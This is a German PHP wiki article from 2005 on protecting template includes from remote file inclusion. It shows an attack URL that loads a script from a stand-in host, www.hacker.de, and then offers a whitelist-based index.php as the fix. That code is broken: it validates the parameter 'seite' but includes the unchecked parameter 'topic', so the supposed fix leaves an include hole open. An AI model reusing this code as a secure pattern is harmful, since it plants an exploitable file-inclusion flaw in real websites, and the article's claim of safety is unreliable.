Anzeige - [Hier werben / Mediadaten]

> Includes sicherer machen
Ayom Wiki 654 Artikel
  Aktuelles Rating:    Last Edit by Patrick Z @ 05.06.2005 08:06:15
Edit Post

Includes sicherer machen

Wenn man ein Templatesystem hat, kann es sein, dass per URL die Template-Datei und der Inhalt übergeben.

Bsp.

localhost/index.php?temp=88;c=inhalt-4.php


Das ist ein riesiges Sicherheitsloch.

Ein Hacker könnte seine Skripte der index.php übergeben, indem er einfach eine "böse" Inhaltsdatei anhängt - und kann so die Homepage stark beschädigen.

localhost/index.php?temp=88;c=http://www.hacker.de/hackerdatei.php

index.php
CODE

<?php
$inc_array = array();

$inc_dir=opendir ("./includes");

while ($inc = readdir ($inc_dir)) {
if($inc != "." && $inc != "..") {
$short_inc = str_replace(".inc.php", "", $inc);
array_push ($inc_array, $short_inc);
}
}
closedir($inc_dir);

if (isset($_GET[seite]) && in_array($_GET[seite], $inc_array) ) {
include("includes/".$_GET[topic].".inc.php");
} else {

include("./includes/start.inc.php");

}
?>


Die index.php wird dann so aufgerufen.
index.php?seite=inhalt

Das führt dazu, dass die Datei inhalt.inc.php im Ordner includes geladen wird.

Zuvor muss man alle Daten in das Verzeichnis includes kopieren.
Alle anderen Parameter werden ignoriert und die Standarddatei geladen.

Quelle des Quellcodes:

www.drweb.de



Creative Commons License Diese Seite steht (wenn nicht anders angegeben)
unter der Creative Commons Lizenz (Mehr Infos)
Diesen Artikel editieren
Neuer Artikel eröffnen
Kategorien des Artikels:

Aktuelle Themen: Betreff, (Autor) Antw. Views Letzte Aktion
Domain-Weiterleitung "abfangen"
(BartTheDevil89)
2 106 Wed 17. Mar 08:17
von BartTheDevil89
Suche Mod für phpBB
(Klabund)
3 139 Tue 16. Mar 10:15
von Klabund
stehe wieder auf dem Schlauch...
(PH)
17 335 Sun 14. Mar 10:30
von PH
Joomla Lightbox Gallery
(ajse80)
20 250 Fri 12. Mar 14:36
von ajse80
Validation - ausmerzen von Fehlern
(ajse80)
6 125 Fri 12. Mar 12:41
von ajse80
Alle Diskussionen im Programmierung Allgemein Forum anzeigen
Top
 
 



Anzeige - [Hier werben / Mediadaten]





Anzeigen


[Hier werben / Mediadaten]